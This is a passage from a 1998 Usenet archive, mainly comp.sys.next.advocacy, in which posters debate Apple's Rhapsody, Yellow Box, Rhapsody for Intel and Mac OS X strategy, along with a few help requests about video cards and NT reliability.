on learning in the classroom in spite of all the perceived (and hyped)
benefits, is at the following URL:
http://www.theatlantic.com/issues/97jul/computer.htm
So instead of stories about walking for miles in the snow to a one-room
schoolhouse, will we be telling our grandchildren, 'You think _you_ have it
tough! -- Why, in my day, we actually had to type in the appropriate
commands at a C:\ prompt before the computer would do anything!'.... ;-)
IOW, in addition to being a medium for providing factual information, as it
was more or less designed to do, will computing also become the privileged
medium (as books once were, before it), for us to provide metaphors
conveying our individual and collective wisdom, namely our experiences and
lessons learned about what is already being referred to as 'so-called real
life' among the digiterati on the Web, to future generations?.....
Hmmm..... Such a sea change in the modes of human experience and
interaction would seem to be ambiguous, at best, in terms of where a fully
'wired' and computer-dependent society is heading.
-- I mean, how long will it be before neighbors and even family members
start emailing each other instead of engaging in traditional social
interactions face-to-face? (A boon in the case of some neighbors or family
members, perhaps, but nonetheless..... <g>)
Etc.
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"There is more to life than increasing its speed."
-- M. Gandhi
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Fri, 22 May 1998 01:54:48 -0700
Message-ID: <see-below-2205980154480001@209.24.240.67>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu>
In article <6k3258$md9$1@geraldo.cc.utexas.edu>,
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> Charlie Mingo (aa829@ccn.cs.dal.ca) wrote:
> : In article <6jrak9$936$1@geraldo.cc.utexas.edu>,
> : kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> :
> : > Say hello to MS style
> : > licensing for every machine.
>
> : What does licensing have to do with remote hosting? You still have to
> : license the back end on each machine, even if you use a single machine as
> : the front end for all of them. Indeed, in programs that sell front and
> : back-ends seperately (eg, Mathematica) it is the back-end that is most of
> : the cost.
>
> If there is an expensive app that is not used all the time, then you can
> buy one copy and have multiple users share it. MS *greatly* discourages this
> practice. It's very cost efficient, even if each copy costs more.
Interesting. We do this _all the time_ with most applications, including
Word, Excel, FileMaker, Photoshop, Vellum, etc. (using software from
Sassafras to "key" the applications - works on both Mac and Windows). I
don't know exactly how the licenses are bought, but we don't normally buy
100 boxed versions of a program!
A recurring problem is running out of keys for a given program, and having
to bug I.S. to get more licenses...
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 02:29:55 -0700
Message-ID: <see-below-2205980229560001@209.24.240.67>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net> <35651ADA.FEB13B57@nstar.net>
In article <35651ADA.FEB13B57@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Michael J. Peck wrote:
>
> [cut]
>
> > This isn't a point of pride, it's just a fact. I defy the pigeonhole
> > because (in the words of John Kheit) I'm a whore. I'll use whatever is
> > necessary at a given point in time and it doesn't matter to me what it
> > is as long as it has the tools I need to get my job done.
>
> Let me give you a quick example of what I mean. At one company with whom
> I recently spoke, they have developed a high-availability middleware
> layer for telecommunications. They run it on Solaris for development and
> testing, but they deploy it on HPUX. Why? Hewlett-Packard is the only
> solution that currently has an SS7 stack for their Service Control Point
> network nodes to use.
>
> They didn't choose Hewlett-Packard for marketshare, or for development
> tools, or for any other preferential reason. HPUX is the *only* place
> they could deploy their solution at the time. They didn't choose HPUX,
> it chose them.
>
> This situation is *extremely* common. Companies don't always get to
> choose their solution, a lot of time it's forced on them for one reason
> or another. What's their solution? Port to as many platforms as possible
> so that you have the best possible chance of being right when the other
> shoe drops.
>
> See what I'm saying? You can't just say, "I'm going to stick with
> platform X and make that my baby and put all my eggs in that basket."
> Something's going to come along and make it impossible to stick to your
> strategy: your vendor will go out of business (SGI) or your vendor will
> be late with support for a critical technology (the Java fiasco) or your
> vendor will be bought by competition and move in a different strategic
> direction (Digital Equipment). The *only* way to be safe is to have a
> cross-platform solution, and to do that most companies simply rewrite
> their software (and rewrite and rewrite and rewrite).
>
> That's what's so exciting about Yellow Box!! It *fixes* all of that by
> providing not only a cross-platform solution, but an *excellent*
> cross-platform solution. So when I hear that Yellow Box is just going to
> be a great MacOS API, I want to vomit! What a waste!
Yes, this is exactly it! If there could be a true cross-platform API to
write applications for, say a Java/Yellow Box/QuickTime/OpenGL/whatever
standard, then you'd have the same apps everywhere, and could choose
whatever hardware/OS combination best suited your needs. No need to say:
well, that one would be nice, but the apps we need are somewhere else...
I totally agree. Yellow Box may be cool in and of itself, as may be
Rhapsody/MacOS X, as may be PPC as may be Apple hardware. But they're not
necessarily for everyone. But having an API that works there as well as
elsewhere, you'd be free to choose.
In addition, this would help to bolster the minority platforms, like
Apple, SGI, and DEC - why would it matter if they're in the minority, if
you can plug the same hardware (printers et al) into all of them, and you
can run the same software on all of them? The only reason Apple being a
minority works against them is because "there aren't enough apps" and all
that. On workstations, that's compounded because the apps take a lot of
money to develop, and hence have a very high price when sold to such a
limited audience. A good cross-platform API could bring those prices down
in the same way that prices of NT versions of those programs often cost
less.
SJ may have said Microsoft doesn't have to lose for Apple to win, but
Microsoft's dominance sure makes Apple's job harder. YB would tip the
balance in favor of minority platforms, making Apple's life that much
easier. Currently, most customers have already made up their mind, since
"nothing else is an option." But if most things became acceptable options,
then Apple would have a much larger group of likely customers to choose
from.
Yellow Box for Windows _might_ be able to do this (though only for Apple),
but without broader support on more platforms, I doubt it will gain as
much developer support, or be percieved as a sea change in the industry.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 02:36:16 -0700
Message-ID: <see-below-2205980236160001@209.24.240.67>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com>
In article <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
> In <3564A134.16A3@CONVEX.COM> Michael Peck wrote:
> > Joe Ragosta wrote:
> > > What exactly does Rhapsody fail to do?
> >
> > Run on my Linux box. Run on my FreeBSD box. Run on my Solaris box. Run
> > on my HPUX box. Run on my BeOS box. Run on my [enter platform here].
> >
> >
>
> How does that affect you? Are you Exemplar if not a developer? I've
followed
> threads posted here and other than a black piece of NeXT hardware
> midadventure, I can't pigeonhole you. At one point you indicate you are
a Mac
> afficianado.
>
> Where is the reward in crafting a cross-platform OS at Apple for MP? Why?
Take a look at Java. It promises true cross-platform delivery of
applications (or at least applets, and yes, I know it hasn't fully
delivered yet). If it were only a Mac/Windows solution, it might or might
not have caught on. While the 'unix' community (on various platforms) may
not seem big in numbers, it tends to be very prolific in getting things
done, software-wise. Lots of interesting things that commercial developers
might or might not do show up from unix hackers. And even commercial
developers probably support Java much more because it is available
virtually everywhere, not just one or two places. If it's just Windows and
one other platform, they might just say, why not do Windows, and that one
other platform (particularly if they already have such solutions in
place)? or just Windows-only?
Another thing is the kind of software that's available for workstations.
Much of it is really expensive stuff that various industries rely on --
science/engineering, CAD, 3D animation... These are the kinds of things
that are moving increasingly to Wintel, but something like Yellow Box
might be able to intercept a lot of them in time to keep them from going
to WinNT (even though many already have). And for those who are currently
trying to support several different platforms, it might be very worthwhile
to convert over to a single code base that works on all of them (and
more).
If these types of applications were available for Yellow Box, that would
mean a lot of things. For one, people might consider Macs for doing those
kinds of high-end tasks. This is significant because these are the kinds
of customers who have proven they will pay whatever it takes to get the
solutions they need. They'll certainly spend less if they can, but then
Apple only has to be cheaper than the workstations (and relatively
competitive with PCs), which I'm sure they can do. That opens up a big
market for high-margin high-end computers.
Second, it means lots of little utilities and other such unix-y things are
likely to appear, in addition to lots of already cross-platform type
things (e-mail clients and all that), and perhaps even some big-name
developers who have an interest in writing for multiple platforms (Corel,
maybe), or even just those that don't like Microsoft (especially
considering they'd still run on Windows).
These things certainly help Apple, but they also help other "minority"
platforms - they simply make the minority status less important, if there
are lots of apps available for them. Then you could truly choose a
platform based on price vs performance, or special features of interest to
you, knowing you could get the same apps on all of them.
With lots of minority platforms becoming realistic options for more
people, the Microsoft mystique (where if it doesn't come from Redmond, it
doesn't really exist) might evaporate.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 22 May 1998 09:57:31 GMT
Organization: P & L Systems
Message-ID: <6k3i6b$sr4$3@ironhorse.plsys.co.uk>
References: <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us> <B1828B86-159FF2@207.217.155.190>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: brad@hutchings-software.com
In <B1828B86-159FF2@207.217.155.190> "Brad Hutchings" wrote:
> >_Any_ app can benefit from Rhapsody.
>
> What if your app requires speech generation? It won't be possible to mix
> and match Carbon and Yellow Box until OSX ships.
>
Why do you need Carbon to do speech generation?
> Doesn't piss me off in the least. I'll believe the Windows deployment story
> when I actually see it work for a commercial quality app.
>
There have been plenty of demonstrations already. This is a solution what
has been deployed in a commercial environment for over two years. What's
your problem?
mmalc.
From: "scott nichol" <scottnichol@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: radius video support for DR2
Date: Sat, 23 May 1998 07:04:19 +0000
Organization: EarthLink Network, Inc.
Message-ID: <6k3m6q$nq$1@suriname.it.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
hello all:
i would appreciate an email response here. i have a radius PCI vide card
(Precision Color 16/2400) and rhapsody dr2 will NOT boot with this card in
the system. when i use the radius pressview monitor plugged into the
on-board video everything works fine. i would like to get both monitor
working simultaneously, but don't know if i need some additional drivers or
support packages.
anyone have any ideas how to get something working here?
thanks,
scott
Date: Fri, 22 May 1998 07:55:59 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-2205980755590001@wil135.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jpu6k$rps$1@crib.bevc.blacksburg.va.us> <see-below-1805981711480001@209.24.240.36> <ericb-2005981944160001@132.236.171.104> <aa829-2105981528170001@port24.dialb2.gain-ny.com>
In article <aa829-2105981528170001@port24.dialb2.gain-ny.com>,
aa829@ccn.cs.dal.ca (Charlie Mingo) wrote:
> In article <ericb-2005981944160001@132.236.171.104>, ericb@pobox.com (Eric
> Bennett) wrote:
>
> > Who is Bertrand, and can I see this keynote at
> > http://isocket.gzx.com/theater.html ? If so, which session is it?
>
> He is Bertrand Serlet, Apple VP for Platform Technologies, who is in
> charge of YellowBox development.
>
> The session is #117, Rhapsody and YellowBox in 1998, the second item on
> the Tuesday column on that web-page.
>
> At the very end of the Q&A, Bertrand is asked about "the long-term future
> of Rhapsody for Intel," and he says...
>
> "We'll continue to do Rhapsody for Intel, and the reason is that we want
> to make sure that all the software we have is absolutely cross-platform,
> and the best way to make sure it's cross-platform is actually to do it,
> because if you don't do it, well, typically it doesn't work. So we will
> do that."
>
> Earlier in the session, he made clear that YellowBox on Intel would be
> rev-ed to maintain parity with the version of the YellowBox that will be
> shipped with MacOS X. He also discussed features that would be added to
> Rhapsody beyond version 1.0.
Unfortunately, this was later negated by statements from Steve Jobs.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 22 May 1998 08:32:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2205980832320001@wil116.dol.net>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47> <joe.ragosta-2105982051550001@elk126.dol.net> <see-below-2105981906100001@209.24.241.47>
In article <see-below-2105981906100001@209.24.241.47>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <joe.ragosta-2105982051550001@elk126.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <see-below-2105981612370001@209.24.241.47>,
> > see-below@not-my-address.com (Matthew Vaughan) wrote:
> >
> > > Motorola's clone sales had been growing rapidly, and with ultra-fast
> > > machines (faster than what Apple is offering even today) combined with OS
> > > 8, they probably felt they could start taking a bite out of Intel's hide
> > > for once.
> >
> > None of which supports Lawson's assertion that IBM or Motorola would have
> > moved any faster if there were more vendors.
>
> You're saying that Motorola's ability to sell their own computers using
> their own chips wouldn't have been a reason for them to ramp up chip
> production?
That's exactly what I'm saying.
Motorola is a large company. They have lots of divisions and each division
does what's best for them--not for the other divisions.
The chip division couldn't care less whether the hardware division sells
hardware. As long as the total number of PPC chips sold is constant, they
don't care if it's all Apple or half Apple and half Motorola.
If it worked any differently, wouldn't you expect Motorola to have
standardized on StarMax computers rather than some no-name PC clone?
>
> > > Considering how slowly Apple adopted the fastest available G3 processors,
> > > I think Motorola had reason to slow down their chip production plans
> > > (until Apple finally placed a large order for G3 chips, that is).
> >
> > Wait a second. Apple released the G3/300 within weeks of the announcement
> > that G3/300 chips existed. The 9600 and 8600 machines with Mach5
> > processors were also released within weeks of chip announcements. How much
> > faster do you want Apple to move?
>
> What reason would Mot and IBM have for announcing a chip speed way before
> Apple is ready to use it, if Apple is their only customer for those chips?
> In fact, I wouldn't be surprised if they delayed those announcements _at
> Apple's request_.
Because Apple isn't the only user. IBM uses PPC chips, as well.
But I think you'd better provide some evidence to support your theory.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: dgason@mindspring.com
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody, OS X...huh?
Date: Fri, 22 May 1998 12:55:50 GMT
Organization: MindSpring Enterprises
Message-ID: <356573e8.5831486@nntp.atl.mindspring.com>
Howdy,
I am hardly a nextstep ace, but I do like the operating system
and I'd like to understand what's happening to it.
I've seen what Apple is doing to nextstep to create Rhapsody,
have heard what it is doing to create OS X and really aren't excited
about either.
If I wanted to ignore all of the Mac features of Rhapsody,
could I get it to look and act like nextstep? If so, how long will
this last?
If not, will Apple continue to sell copies of nextstep or is
nextstep doomed?
Thanks in advance,
Dave
dgason@mindspring.com
From: Steven W. Schuldt <sschuldt@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 22 May 1998 12:48:55 GMT
Organization: MediaOne -=- Northeast Region
Message-ID: <6k3s7n$mba$1@ndnws01.ne.highway1.com>
References: <6jq3hf$122c1@odie.mcleod.net>
In article <6jq3hf$122c1@odie.mcleod.net> "Michelle L. Buck"
<buck.erik@mcleod.net> writes:
>
> Actually, it was said several times at WWDC that there are no plans for
> Rhapsody/Intel after 1.0. YellowBox for NT/9x is the future cross platform
> solution. The lack of drivers was the excuse given by Mr. Dea-Mateson
> (sp?) at the birds of a feather session.
>
> There would probably not be much software or demand for Rhapsody/Intel
> anyway.
>
Oh, there would be plenty of demand alright - but it would cannibalize
PowerMac sales, no question. That is why it is being snuffed. End of story.
I wish they would just sell it for whatever margin they make on a G3. Let's
see, 25% of ~$1800 = $450; a little higher than we might like but just about
par for a server OS on intel (actually that is the exact price of Solaris
x86). That should keep the profitable quarters going while still allowing
Apple to continue its hardware hobby and make a few glowing, translucent,
quad-processor G4 boxes on the side for the true believers.
- Steve
Boston '98 +On +On
Date: Fri, 22 May 1998 09:21:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Message-ID: <joe.ragosta-2205980921080001@wil116.dol.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <joe.ragosta-2005981154020001@wil132.dol.net> <35648924.602E@CONVEX.COM> <6k1hvf$pdd$2@ns3.vrx.net>
In article <6k1hvf$pdd$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <35648924.602E@CONVEX.COM> Michael Peck claimed:
> > Immaterial. These machines aren't used, by and large, where Office is
> > deployed. I see lots and lots of two-machine desktops for this purpose;
> > Rhapsody won't really replace them in the short-term, so M. Buck's
> > observation holds up in this light.
>
> That I'll agree with. However in the longer term I don't think it's nearly
> that cut and dried. SGI is now slipping into a position Apple was in just
> over a year ago in terms of "you gonna die succa" attitude as seen by it's
> users, if that's still true in (say) two years and Apple is offering a solid
> Unix based OS (which they will) and super fast machines (more debatable
> compared to SGI anyway) then who knows?
>
> > > Or the 10 million Linux users?
> >
> > That many?! Wow, I didn't know it had jumped like that :-)
>
> I think he means Unix on PC in general.
Actually, I was referring to Linux and 10 million is the larger number
I've seen. Let's use the more conservative 5 million--it won't make that
much difference.
>
> > > Apple claimed (on Rhapsody
> > > Developers' mailing list) that they need $100 million in revenues to
> > > justify Rhapsody/Intel. That's 1 million customers at $100 each.
>
> Really? That's certainly reasonable in my books too.
>
> > That's so easy to do. For Apple, maybe not, but if it were up to me, I'd
> > be knocking on doors like a Jehovah's Witness until I got my millionth
> > customer. I'd probably be at it for less time than it took Lamar
> > Alexander to make his Flannel Walk across the state. I daresay it's
> > easier to sell Rhapsody than Watchtower Magazine, anyway.
>
> Yeah, but would you pay for it just to get rid of an Apple rep?? :-)
>
> Joe, if that number's right, we HAVE to do something about this!
$100 million was the number given by Jordan on Rhapsody Digest.
I agree that we have to do something. That's why I've been encouraging
people to write to Apple.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 22 May 1998 09:27:18 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Message-ID: <joe.ragosta-2205980927190001@wil116.dol.net>
References: <6jq3hf$122c1@odie.mcleod.net> <6k3s7n$mba$1@ndnws01.ne.highway1.com>
In article <6k3s7n$mba$1@ndnws01.ne.highway1.com>, sschuldt@mediaone.net wrote:
> In article <6jq3hf$122c1@odie.mcleod.net> "Michelle L. Buck"
> <buck.erik@mcleod.net> writes:
> >
> > Actually, it was said several times at WWDC that there are no plans for
> > Rhapsody/Intel after 1.0. YellowBox for NT/9x is the future cross platform
> > solution. The lack of drivers was the excuse given by Mr. Dea-Mateson
> > (sp?) at the birds of a feather session.
> >
> > There would probably not be much software or demand for Rhapsody/Intel
> > anyway.
> >
> Oh, there would be plenty of demand alright - but it would cannibalize
> PowerMac sales, no question. That is why it is being snuffed. End of
story.
>
> I wish they would just sell it for whatever margin they make on a G3. Let's
> see, 25% of ~$1800 = $450; a little higher than we might like but just about
> par for a server OS on intel (actually that is the exact price of Solaris
> x86). That should keep the profitable quarters going while still allowing
> Apple to continue its hardware hobby and make a few glowing, translucent,
> quad-processor G4 boxes on the side for the true believers.
That's one solution.
There are others:
1. Sell it at a high price only for server users, with perhaps a cheap
academic price.
2. Have one of the major computer vendors OEM Apple branded PCs. Any
number of these vendors would do it and offer a very good price. You sell
Rhapsody openly, but only offer full support for the Apple branded PCs.
3. Create a business plan by thinking different. Instead of assuming only
a 1:1 loss of G3 sales for every Rhapsody license, why not figure out how
many people would actually buy it and use that to set pricing. I'm
convinced that a significant percentage of Windows, Linux and other Unix
users would buy it, even if they don't abandon their current OS 100% of
the time. If you sell it to 5% of Linux users and 1% of Windows users, a
$100 price would generate something like $250 million in revenues.
There are problems with all of these approaches, but I don't believe that
it would have as large an impact on Apple hardware sales as you might
think.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Subject: Features for Rhapsody after Mac OS X
Newsgroups: comp.sys.next.advocacy
From: not@my.address.net
Message-ID: <y9f91.2843$0A3.13617681@news.itd.umich.edu>
Date: Fri, 22 May 1998 13:34:22 GMT
NNTP-Posting-Date: Fri, 22 May 1998 09:34:22 EDT
Buried somewhere in the flow of information out of WWDC was the comment that,
for an unspecified period of time, Apple would continue to offer Rhapsody as a
separate product even after Mac OS X ships, and that it would be aimed at the
"server, development and publication markets".
That's good news, particularly if the development of Rhapsody continues ...
For example, might post Mac OS X releases of Rhapsody maintain Display
Postscript (for the "publication markets" -- you can always add a "Save to PDF"
option in the Save Panel)?
Or how about the long anticipated "Fix'N Go" technology for incrementally
compiling an app one method at a time and hot swapping new for old while
debugging. Is that now long forgotten?
Then there's NetInfo ... how does it figure in the plans for Mac OS X? Will it
remain in Rhapsody if Mac OS X moves in a different direction?
And how about the new kernel for Mac OS X. Might Rhapsody gravitate to Mach 3
kernel? Might we see SMP in Rhapsody even before it arrives for Mac OS X?
Best of all, if Rhapsody remains a separate product aimed at narrowly targeted
markets, the argument for a unified Mac interface looses a lot of its force.
Might Apple let 1,000 flowers bloom? Or at least offer an alternative GUI?
Anyone who CHOOSES Rhapsody OVER Mac OS X is unlikely to mind. And Apple would
be able to test and get feedback on innovations that might one day make their
way into Mac OS X as it evolves over time.
--
invert: umich.edu jdevlin
insert: shift "2"
From: tdilling@mail.med.upenn.edu (Tom Dilling)
Newsgroups: comp.sys.next.advocacy
Subject: NT bad for mission-critical apps?
Date: 22 May 1998 14:05:23 GMT
Organization: University of Pennsylvania
Message-ID: <6k40n3$704$1@netnews.upenn.edu>
Slightly off-topic, but I don't know where else to go about this:
Awhile back there was a discussion about some NT server that went down
and hosed some medical info or something. A discussion ensued about
how NT was bad for mission-critical apps. The original article has
scrolled off so I can't access it anymore. Trouble is, I *need* it
NOW (or any other articles you have about how NT sucks for high-load
web servers). I've read dozens of these articles before, but never
bothered to save them.
Any help you can provide would be most appreciated!
Thanks!
--
Tom Dilling
tdilling at a server named mail med upenn edu
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 09:12:24 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k3fho$be9$2@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
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<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
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In <3564A983.1DE3@CONVEX.COM> Michael Peck claimed:
> Oh, I know. I was thinking that having an X server would make Rhapsody
> seem more like a Unix, and thus make it (as a platform) more appealing
> to those doing X development (who could be wooed to YB in the long-run).
Ahh. Well I don't know if Rhapsody will _ever_ be a compelling X dev
platform personally, because for that purpose Linux really is quite good.
> It would also make it possible to port *part* of an X program to YB, and
> leave part behind in X. This would make Rhapsody a seamless member of
> the Yellow Box cross-platform "thing".
Weird.
> Doesn't matter. Novell sells its networking stack on NT, against
> Microsoft's wishes. Apple can build a Yellow Box for Solaris in no time,
> with or without Sun's help. It doesn't even matter.
Yeah, I guess so.
> Untrue. You're speaking of the markets you and I buy into, which are
> immaterial. The places where NT makes its inroads would be where Yellow
> Box on Other Unices could make windfalls for Apple.
I don't know if that's true. YB is a really good app development framework
(likely overall best there is), and easily the best middlewear framework, but
as a server development platform it's no great shakes. That's where these
platforms are aimed so I don't know if Apple can win over many converts.
Now the opposite is not always true. I'd bet there's a lot of Solaris
_users_ who would kill for some nice apps.
> > > 5) Bandwagon: LDAP, Java, etcetera
> >
> > This can be a bad thing though.
>
> Why?
Apple got in trouble last time they tried this, with Copeland. They ended
up chasing too many goals and lost focus. That's what killed the project.
> > I think Apple would do considerably more for games on the Mac with a
crappy
> > port of DirectX than they would with the best 3D engine in the world.
>
> Shhhhhhh!!! You're in HUGE trouble, now.
I know.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 09:17:41 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k3frl$be9$3@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6k1hn9$pdd$1@ns3.vrx.net>
<35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6k2bte$72e$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> Indeed. Apple doesn't seem to be taking games seriously enough, which
> is surprising.
I don't know if that's the prime issue. I think it's more like the people
in the game API's group have a serious case of "oldthink". You know, "well
if we have the fastest engine, people will use it". Just like "if we have
the best computer, people will buy it".
> I also know that PC games are a large reason I'm finding it difficult
> to convince some of my Linux friends to go Mac.
Them... ME! I bought a PC this year, the overriding scale tipper was
games!
> is great technology and all, and are open to using it instead of Linux,
> but don't want to give up the games on their DOS/Windows dual-boot
> systems.
Yup.
Maury
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 22 May 1998 14:21:54 GMT
Organization: Idiom Communications
Message-ID: <6k41m2$lk3$1@news.idiom.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104>
<joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104>
<6jpu6k$rps$1@crib.bevc.blacksburg.va.us> <see-below-1805981711480001@209.24.240.36>
<ericb-2005981944160001@132.236.171.104> <aa829-2105981528170001@port24.dialb2.gain-ny.com>
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Charlie Mingo may or may not have said:
-> In article <6k2dk9$o13$1@news.idiom.com>, jcr.remove@this.phrase.idiom.com
-> wrote:
->
-> > On thing that *could* happen is that Rhapsody/Intel might continue to
-> > be starved for drivers for the latest spiffy add-ons.
->
-> Earlier in the same talk, Bertrand was listing "OS Improvements in DR2"
-> when he said...
->
-> "We also have this great framework to write drivers. It's really
-> important in the Intel space to be able to write drivers fast
-> because the Intel space is crazy about drivers. There is a new
-> driver appearing every minute, probably.
->
-> "So we are not turning drivers out at that rate, but nevertheless
-> we wanted to have the ability to have a lot of drivers, and to do
-> that we have this object-oriented framework which enables us to
-> sub-class and inherit most of the behaviors, because most drivers
-> are not very different from each other."
->
-> I don't know if this driver framework is something completely new, or just
-> new to DR2.
DriverKit has existed for several years, but I understand it's been
completely overhauled for Rhapsody. It's a good piece of work, and once
someone is familiar with it, it would be possible to knock out new drivers in
the span of a week or so. The problem is just that many manufacturers simply
can't be bothered to give you the full documentation. They figure that if
they're providing a Windoze driver, they're done.
-jcr
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 09:23:17 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k3g65$be9$4@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
<6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM>
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In <see-below-2105981917430001@209.24.241.47> Matthew Vaughan claimed:
> I'm not sure. While I certainly don't know if this has a future, I don't
> see what the problem would be. Sun would still benefit from a larger
> selection of applications
For Sun there is a single message : Java. If it ain't that, they won't
